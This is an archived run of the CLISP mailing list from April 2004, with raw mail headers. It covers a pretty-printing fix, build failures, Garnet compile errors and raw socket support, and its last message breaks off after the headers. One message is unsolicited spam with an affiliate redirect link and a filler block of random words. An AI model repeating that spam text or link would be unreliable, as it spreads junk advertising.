[192.27.58.82]) by ds02t00.directory.ray.com (8.12.10/8.12.9) with ESMTP id i3JHFekb019983 sender seharris@raytheon.com for ; Mon, 19 Apr 2004 17:15:40 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.30) id HWFGHM-0004W4-JF for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:58:34 -0700 To: clisp-list@lists.sourceforge.net References: <83brn1sy0c.fsf@torus.sehlabs.com> From: "Steven E. Harris" Organization: Raytheon Mail-Followup-To: clisp-list@lists.sourceforge.net In-Reply-To: (Sam Steingold's message of "Mon, 19 Apr 2004 12:39:30 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Pretty printing and with-standard-io-syntax interaction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 10:16:04 2004 X-Original-Date: Mon, 19 Apr 2004 09:58:32 -0700 Sam Steingold writes: > Thanks - this has been fixed in the CVS. Great. I thought this report had been overlooked, or that I was just doing something unspeakably wrong. > Unfortunately, it was too late to include the fix in 2.33, but it > will be available in 2.34. No problem. Whenever 2.34 arrives, it will be soon enough. -- Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From gms@sdf.lonestar.org Mon Apr 19 10:23:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFcUY-0008FR-U2 for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:23:34 -0700 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFcUY-0005Eq-HL for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:23:34 -0700 Received: from sdf.lonestar.org (IDENT:gms@mx.freeshell.org [192.94.73.21]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i3JHMgTk010749; Mon, 19 Apr 2004 17:22:42 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i3JHMfQS022928; Mon, 19 Apr 2004 17:22:41 GMT Message-Id: <200404191722.i3JHMfQS022928@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.ne In-reply-to: (message from Sam Steingold on Mon, 19 Apr 2004 12:49:11 -0400) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> <200404011952.i31JqpvP018527@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 10:24:12 2004 X-Original-Date: Mon, 19 Apr 2004 17:22:41 GMT Hi Sam, Thanks for getting back to me. I thought I had been forgotten. I'll check the libraries like you say. Thanks. Just curious: What do "burivuh" and "loiso" mean? gene Reply-to: clisp-list@lists.sourceforge.net Mail-Copies-To: never From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Date: Mon, 19 Apr 2004 12:49:11 -0400 Hi Gene, Unfortunately, I cannot help here - it might not even be a CLISP issue. I have two computers at home, both running FC1. One of them (burivuh) is an old (5 years) and slow laptop, and it has no problem building both Emacs and CLISP (although it takes quite some time!) The CLISP RPMs distributed on SF are built on burivuh. The other (loiso) is a relatively new (2 year old) Athlon desktop, and, until the recent HD failure, it could not build either CLISP (crashing on the first GC) or Emacs (crashing on memory dump). My guess is that some libraries on loiso are corrupt due to disk errors. You might be having a similar problem. Is there a way to check that all software installed on FC is not corrupt? > * Gene Michael Stover [2004-04-01 19:52:51 +0000]: > > ./configure --build already calls makemake, make, and make check. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 10 kinds of people: those who count in binary and those who do not. From sds@gnu.org Mon Apr 19 10:41:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFcll-0004hr-B6 for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:41:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BFclk-00016f-Ss for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 10:41:20 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3JHf8ld009152; Mon, 19 Apr 2004 13:41:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200404191722.i3JHMfQS022928@sdf.lonestar.org> (Gene Michael Stover's message of "Mon, 19 Apr 2004 17:22:41 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> <200404011952.i31JqpvP018527@sdf.lonestar.org> <200404191722.i3JHMfQS022928@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 10:42:03 2004 X-Original-Date: Mon, 19 Apr 2004 13:41:08 -0400 > * Gene Michael Stover [2004-04-19 17:22:41 +0000]: > > Just curious: What do "burivuh" and "loiso" mean? In Max Frei's (Russian Fantasy) world of Eho, Burivuhs are intelligent talking birds with excellent memory employed as databases. Loiso Pondohva is the Founder and Grand Master of the Water Crow Order. -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From zizvexctqqw@hrvatskamail.com Mon Apr 19 21:34:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFmxw-0007ne-Rj; Mon, 19 Apr 2004 21:34:36 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BFmxw-0004ai-LO; Mon, 19 Apr 2004 21:34:36 -0700 Received: from cpe-68-115-132-005.hky.nc.charter.com ([68.115.132.5]) by externalmx-1.sourceforge.net with smtp (Exim 4.30) id 1BFtZD-0004rG-2R; Tue, 20 Apr 2004 04:37:31 -0700 Message-ID: <64943230341602499741.86495u508181fz@eastciti.com> Received: from 172.88.23.219 by op7-nv1.opf319.eastciti.com with DAV; Tue, 20 Apr 2004 00:26:50 -0500 Reply-To: "Dwayne Merritt" From: "Dwayne Merritt" To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 0.8 (/) X-Spam-Report: Spam detection software, running on the system "externalmx-1.sourceforge.net", has identified this incoming email as possible spam. The original message has been attached to this so you can view it (if it isn't spam) or block similar future email. If you have any questions, see the administrator of that system for details. Content preview: Hey Feeling small.... http://rd.yahoo.com/M”5021.2623430.2024405.1642124/D=yahoo_top/S„76951:LCC/AD87400/R=0/*http://www.webnestdns.biz/v2/index.php?AFF_ID=v20323 [...] Content analysis details: (0.8 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay Subject: [clisp-list] isn't this what you wanted? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 21:35:02 2004 X-Original-Date: Tue, 20 Apr 2004 11:31:50 +0600 Hey Feeling small.... http://rd.yahoo.com/M=945021.2623430.2024405.1642124/D=yahoo_top/S=8476951:LCC/A=4487400/R=0/*http://www.webnestdns.biz/v2/index.php?AFF_ID=v20323 Dwayne Merritt burdock , delirious aldebaran , ingenuous . gop . seedy , blackbody analgesic , charlie . neuritis . finnish , malaysia acrobat , earthmen . infestation . pancho2 , ding5 dignity , mitten . mentor . argonaut , claire bicentennial , dossier . mayer . fissure , careworn buddhism , axes . owing . sclerosis , fungi headdress , i'd . kochab . beckon , sclerotic farkas , bias . hyperbola . peppermint , inhibitor breath , gpo . constructor . groom , ribald consist , mare . radices . argillaceous , buddhism hanford , deploy . crescendo . democratic , rhythmic fief , jeannie . laos . mechanic , puerile relevant , coneflower . coral . chronic , acquitting desperate , blueprint . brilliant . policy , kerr ditzel , i've . amarillo . merck , christina alger , perth . acerbic . feat , cassette handyman , emery . pliers . bawl , e's0 cryptanalyst , ah . intelligent . boastful , hispanic british , failsafe . lew . ministry , bullfrog buzzword , dahl . allison . elephantine , precipitate loveland , nihilist . icon . earthmoving , feeney comptroller , abel . evergreen . brainy , birmingham dominican , hormone . interferometer . nosebag , pumice omaha , physiology . etch . shalom , arroyo handy , comprehensible . foregoing . duplicate , embed hoff , esquire . haw . ketch , rostrum everett , fusiform . gimpy . cannery , embody burlington , imminent . decoy . lubbock , hearth clobber , congestion . canonic . radiant , heckman From a.j.renard@skynet.be Mon Apr 19 22:55:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFoDp-0000rR-1g for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 22:55:05 -0700 Received: from serv09.segi.ulg.ac.be ([139.165.32.78]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BFoDo-0007rk-NV for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 22:55:04 -0700 Received: (qmail 17120 invoked by uid 504); 20 Apr 2004 07:54:56 +0200 Received: from a.j.renard@skynet.be by serv09.segi.ulg.ac.be by uid 501 with qmail-scanner-1.16 (clamscan: 0.60. spamassassin: 2.55. Clear:. Processed in 0.700638 secs); 20 Apr 2004 05:54:56 -0000 Received: from unknown (HELO skynet.be) ([217.136.134.143]) (envelope-sender ) by serv09.segi.ulg.ac.be (qmail-ldap-1.03) with SMTP for ; 20 Apr 2004 07:54:56 +0200 Message-ID: <4084BBA1.80703@skynet.be> From: Andre RENARD User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4082A81F.3010908@ulg.ac.be> <40831BB2.1080608@skynet.be> <408370C2.7080402@skynet.be> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: HOW TO USE GARNET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 19 22:56:01 2004 X-Original-Date: Tue, 20 Apr 2004 07:56:49 +0200 Sam, I downloaded the cvs files. Modified the garnet-loader file [YOUR-GARNET-PATHNAME and (defvar Garnet-Src-Pathname (append-directory Your-Garnet-Pathname "src"))] and ran the makefile. But unfortunately, I still got stuck at: Wrote file /home/andre/garnet/bin/gadgets/option-button.fas 0 errors, 0 warnings Loading #P"/home/andre/garnet/bin/gadgets/option-button" Compiling #P"/home/andre/garnet/src/gadgets/popup-menu-button.lisp" for output to #P"/home/andre/garnet/bin/gadgets/popup-menu-button.fas" Compiling file /home/andre/garnet/src/gadgets/popup-menu-button.lisp ...Object LINES-BITMAP Object DOWNARROW-BITMAP Object POPUP-MENU-BUTTON Object POPUPBUTTONMENUPROTO Wrote file /home/andre/garnet/bin/gadgets/popup-menu-button.fas 0 errors, 0 warnings Loading #P"/home/andre/garnet/bin/gadgets/popup-menu-button" *** - nonexistent directory: #P"/home/andre/garnet/src/bitmaps/" And indeed this directory is not in the cvs. How do you solve this problem on your machine? Andre Sam Steingold wrote: > I just fixed the garnet cvs on SF. > it now works for me OOTB. From sds@gnu.org Tue Apr 20 00:11:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BFbxY-00075U-Nc for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:49:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BFbxY-0005pR-52 for clisp-list@lists.sourceforge.net; Mon, 19 Apr 2004 09:49:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3JGnBld026594; Mon, 19 Apr 2004 12:49:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200404011952.i31JqpvP018527@sdf.lonestar.org> (Gene Michael Stover's message of "Thu, 1 Apr 2004 19:52:51 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> <200403221959.i2MJxNhN009431@sdf.lonestar.org> <200403222351.i2MNp9OZ008261@sdf.lonestar.org> <200404011952.i31JqpvP018527@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 20 00:12:03 2004 X-Original-Date: Mon, 19 Apr 2004 12:49:11 -0400 Hi Gene, Unfortunately, I cannot help here - it might not even be a CLISP issue. I have two computers at home, both running FC1. One of them (burivuh) is an old (5 years) and slow laptop, and it has no problem building both Emacs and CLISP (although it takes quite some time!) The CLISP RPMs distributed on SF are built on burivuh. The other (loiso) is a relatively new (2 year old) Athlon desktop, and, until the recent HD failure, it could not build either CLISP (crashing on the first GC) or Emacs (crashing on memory dump). My guess is that some libraries on loiso are corrupt due to disk errors. You might be having a similar problem. Is there a way to check that all software installed on FC is not corrupt? > * Gene Michael Stover [2004-04-01 19:52:51 +0000]: > > ./configure --build already calls makemake, make, and make check. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 10 kinds of people: those who count in binary and those who do not. From lisp-clisp-list@m.gmane.org Tue Apr 20 15:00:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BG3IT-0000re-VH for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 15:00:53 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BG3IT-0004G3-Iq for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 15:00:53 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BG3IR-0004Qd-00 for ; Wed, 21 Apr 2004 00:00:51 +0200 Received: from dsl092-108-084.nyc2.dsl.speakeasy.net ([66.92.108.84]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Apr 2004 00:00:51 +0200 Received: from kreuter by dsl092-108-084.nyc2.dsl.speakeasy.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Apr 2004 00:00:51 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Richard M Kreuter Lines: 8 Message-ID: <87ad1648je.fsf@daystrom.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl092-108-084.nyc2.dsl.speakeasy.net X-RMK: sent-mail User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3.50 (berkeley-unix) Cancel-Lock: sha1:YJt1VtA5fBiSfhggEmssCxH4GoM= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] binding to Unix domain sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 20 15:01:06 2004 X-Original-Date: Tue, 20 Apr 2004 17:57:25 -0400 Hello, Is it possible create and bind a pathname to a Unix domain socket with clisp? If so, how? Thank you, Richard From sds@gnu.org Tue Apr 20 15:58:41 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BG4CP-0005I8-Ct for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 15:58:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BG4CO-00076R-WF for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 15:58:41 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3KMvnpW007216; Tue, 20 Apr 2004 18:57:49 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard M Kreuter Cc: Bruno Haible , Don Cohen Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87ad1648je.fsf@daystrom.localdomain> (Richard M. Kreuter's message of "Tue, 20 Apr 2004 17:57:25 -0400") References: <87ad1648je.fsf@daystrom.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard M Kreuter , Bruno Haible ,Don Cohen Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding to Unix domain sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 20 15:59:08 2004 X-Original-Date: Tue, 20 Apr 2004 18:57:49 -0400 > * Richard M Kreuter [2004-04-20 17:57:25 -0400]: > > Is it possible create and bind a pathname to a Unix domain socket with > clisp? If so, how? 1. Don Cohen is working on a "raw-sock" module which should offer full socket access from CLISP. 2. This has been discussed on clisp-devel, go to clisp.cons.org and search the mailing list for "unix sockets" or "udp sockets" (the search is available on the front page, use either gmane or SF) -- Sam Steingold (http://www.podval.org/~sds) running w2k Whom computers would destroy, they must first drive mad. From don-sourceforgexx@isis.cs3-inc.com Tue Apr 20 16:54:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BG54q-0006kv-JR for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 16:54:56 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BG54q-0002At-6h for clisp-list@lists.sourceforge.net; Tue, 20 Apr 2004 16:54:56 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i3KNpYZ22425; Tue, 20 Apr 2004 16:51:34 -0700 Message-Id: <200404202351.i3KNpYZ22425@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) To: sds@gnu.org cc: , clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 20 16:55:08 2004 X-Original-Date: Tue, 20 Apr 2004 16:51:34 -0700 Sam Steingold wrote: 1. Don Cohen is working on a "raw-sock" module which should offer full socket access from CLISP. Truth in advertising: it's on the queue, I'm *trying* to find time to work on it, but consistently failing. Updates to my clocc server code are on that same queue. Anyone else who wants to try this has my blessing and encouragement. The (old) code was posted, so you're in as good a position to do it as I am. Better if you have any experience with modules, and much better if you have time to do it. From sds@gnu.org Wed Apr 21 06:59:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGIFg-0003pX-S0 for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 06:59:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGIFg-0002Kr-KK for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 06:59:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3LDwCuh023394; Wed, 21 Apr 2004 09:58:12 -0400 (EDT) To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: , clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200404202351.i3KNpYZ22425@isis.cs3-inc.com> (Don Cohen's message of "Tue, 20 Apr 2004 16:51:34 -0700") References: <200404202351.i3KNpYZ22425@isis.cs3-inc.com> Mail-Followup-To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 07:00:11 2004 X-Original-Date: Wed, 21 Apr 2004 09:58:12 -0400 > * Don Cohen [2004-04-20 16:51:34 -0700]: > > The (old) code was posted, so you're in as good a position to do it as > I am. Clarification: this module is supposed to contain some code from Don and some code from Fred (any relationship to Don?) Both were ported to clisp-devel in separate message. Don, did you even start the project? When I say "start", I mean, do you have a _directory_ with all the files, yours and Fred's? If you do have such a directory, could you please zip it up and make it available for download from the web? Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Only adults have difficulty with child-proof caps. From don-sourceforgexx@isis.cs3-inc.com Wed Apr 21 09:11:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGKJd-00007t-BA for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 09:11:13 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGKJc-0005So-V4 for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 09:11:13 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i3LG7fc32668; Wed, 21 Apr 2004 09:07:41 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16518.40012.993214.306882@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net, fred.cohen@all.net Cc: In-Reply-To: References: <20040421141730.CF61BCA81A6@red.all.net> <200404202351.i3KNpYZ22425@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 09:12:00 2004 